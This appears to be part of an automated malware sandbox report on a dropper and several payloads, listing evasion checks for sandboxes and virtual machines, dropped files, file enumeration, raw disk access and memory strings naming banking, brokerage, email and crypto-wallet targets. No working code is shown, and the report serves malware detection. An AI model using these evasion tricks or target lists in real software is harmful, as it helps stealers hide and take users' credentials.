Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Sandbox detection routine: GetCursorPos, DecisionNode, Sleep

graph_3-46476

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: GetPEB, DecisionNodes, Sleep

graph_3-46479

Source: C:\Users\user\Desktop\file.exe	Memory allocated: 1630000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 3020000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 5020000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: GetCursorPos,GetCursorPos,Sleep,GetCursorPos,__aulldiv,Sleep,

3_2_00432FE0

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1186
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 651

Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-8OGEE.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Play Glock\uninstall\is-R79QI.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Play Glock\is-75FQC.tmp	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\IZImiIFXXrvtVOHFozZW.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-8OGEE.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Play Glock\is-O04L0.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Play Glock\is-IKU3H.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Play Glock\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\service123.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-8OGEE.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Play Glock\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-8OGEE.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Play Glock\msvcp71.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Play Glock\msvcr71.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Play Glock\uninstall\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Play Glock\Qt5OpenGL.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Play Glock\is-86R9G.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Play Glock\is-5ANFC.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Play Glock\is-IVTOI.tmp	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1u2wN0W4Z43Z310SAYDV85NF4w4\Bunifu_UI_v1.5.3.dll	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1u2wN0W4Z43Z310SAYDV85NF4w4\Y-Cleaner.exe	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\soft[1]	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Play Glock\libssl-1_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\dll[1]	Jump to dropped file

Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe

Evasive API call chain: GetSystemTime,DecisionNodes

Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe

API coverage: 9.4 %

Source: C:\Users\user\Desktop\file.exe TID: 7564	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe TID: 6988	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe TID: 8060	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe TID: 3348	Thread sleep count: 56 > 30
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe TID: 3348	Thread sleep time: -3360000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3892	Thread sleep count: 1186 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3892	Thread sleep count: 318 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1864	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 604	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3124	Thread sleep count: 651 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7512	Thread sleep count: 42 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 316	Thread sleep count: 92 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3240	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 5812	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00540A25 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	3_2_00540A25
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Code function: 8_2_0040553A FindFirstFileA,	8_2_0040553A
Source: C:\Users\user\Documents\iofolko5\Jrh6BLxH1aqS3cJle2sY_F2Q.exe	Code function: 8_2_004055DE __EH_prolog,FindFirstFileW,AreFileApisANSI,FindFirstFileA,	8_2_004055DE
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_0041E01D FindFirstFileExW,	9_2_0041E01D
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_10007EA9 FindFirstFileExW,	9_2_10007EA9
Source: C:\Users\user\Documents\iofolko5\tyq3dazbB0crObgKIDGLxiAO.exe	Code function: 9_2_020DE284 FindFirstFileExW,	9_2_020DE284
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00452A4C FindFirstFileA,GetLastError,	11_2_00452A4C
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_004751F8 FindFirstFileA,FindNextFileA,FindClose,	11_2_004751F8
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00464048 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	11_2_00464048
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_004644C4 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,	11_2_004644C4
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00462ABC FindFirstFileA,FindNextFileA,FindClose,	11_2_00462ABC
Source: C:\Users\user\AppData\Local\Temp\is-QKCAE.tmp\hI6pMK6rYY2urO_lpGyU85DA.tmp	Code function: 11_2_00497A74 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,	11_2_00497A74

Source: C:\Users\user\Documents\iofolko5\hI6pMK6rYY2urO_lpGyU85DA.exe

Code function: 7_2_00409B30 GetSystemInfo,VirtualQuery,VirtualProtect,VirtualProtect,VirtualQuery,

7_2_00409B30

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Play Glock\playglock32x64.exe	Thread delayed: delay time: 60000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\G__XJZ9ACVwRjgVn6BXId6E1.exe	File opened: C:\Users\user	Jump to behavior

Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696497155j
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe	Binary or memory string: VMware
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696497155
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696497155t
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000002.2339117587.000000000152E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(FX
Source: RegAsm.exe, 00000003.00000002.1688734412.000000000111D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.1688734412.00000000010DA000.00000004.00000020.00020000.00000000.sdmp, G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1691472183.0000000001574000.00000004.00000020.00020000.00000000.sdmp, G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000002.2339117587.0000000001574000.00000004.00000020.00020000.00000000.sdmp, tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000002.2103324889.0000000002B61000.00000004.00000020.00020000.00000000.sdmp, playglock32x64.exe, 0000000D.00000002.2679705676.00000000007D7000.00000004.00000020.00020000.00000000.sdmp, playglock32x64.exe, 0000000D.00000002.2679705676.00000000008C5000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000032.00000002.1779130970.00000000026B1000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000032.00000002.1779130970.0000000002678000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000032.00000003.1768755104.00000000026B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000002.2102544836.000000000055A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp`
Source: tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000002.2103324889.0000000002B61000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW'0'
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696497155]
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696497155\|UE
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696497155o
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000000.1571265793.00000000013E2000.00000002.00000001.01000000.00000006.sdmp	Binary or memory string: !d->m_output_flush_remainingd->m_pOutput_buf < d->m_pOutput_buf_endmax_match_len <= TDEFL_MAX_MATCH_LEN(match_len >= TDEFL_MIN_MATCH_LEN) && (match_dist >= 1) && (match_dist <= TDEFL_LZ_DICT_SIZE)d->m_lookahead_size >= len_to_movevisaSpellingProtectSpeechReadyForiTop PDFCiscoSparkLauncherWebExCiscoSparkdotnetEvent ViewerF12BlendBaiduHP_Easy_StartSmartSteamEmuBrowserCacheseeedwodlholdhodlSketchUpbandlab-assistantvlcPixelSeeCLR_v4.0CLR_v2.0_32webCachesHoYoversepocopedaTwitch StudioWebTorrentLibrarymopnmbcafieddcagagdcbnhejhlodfddbhhhlbepdkbapadjdnnojkbgioiodbicopcgpfmipidbgpenhmajoajpbobppdilnngceckbapebfimnlniiiahkandclblbVsGraphicsWindowsAppsvshubWindows Sidebaroptimization_guide_prediction_model_downloadsUXP.android.cache.gradleVALORANTNichromeMetroOpenOfficeVodafoneClickUpDATAparkXiaomiDevice MetadataWindows Live ContactsWindows StorecacheCommsConnectedDevicesPlatformaddonscachesLocal StorageAugLoopMcAfee_Inclinknowmt-center.chiadaoexporttokenWorldOfTanksWargaming.netPlay GamesAutoItVirtualBoxreposiCloudDriveVMwareFree_PDF_SolutionsLenovoServiceBridgeMega LimitedMEGAsyncLogiShrd@
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: Ifh3vuF2SF2LvHombSP7ZGRi.exe, 0000000A.00000002.1763288306.00000000010ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696497155x
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696497155
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: tyq3dazbB0crObgKIDGLxiAO.exe, 00000009.00000002.2102544836.0000000000588000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696497155
Source: Ifh3vuF2SF2LvHombSP7ZGRi.exe, 0000000A.00000002.1762556798.0000000000CAA000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: main.YFHiCIiixcqEmuOlForkRgsVMgLNXhAujTFmOcP
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696497155f
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: G__XJZ9ACVwRjgVn6BXId6E1.exe, 00000006.00000003.1749833727.00000000036C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: Ifh3vuF2SF2LvHombSP7ZGRi.exe, 0000000A.00000002.1762556798.0000000000CAA000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: main.xVFDfAARqjMemLyUDOzhCyJqReWzzAWruHqqEmUwOjMGu
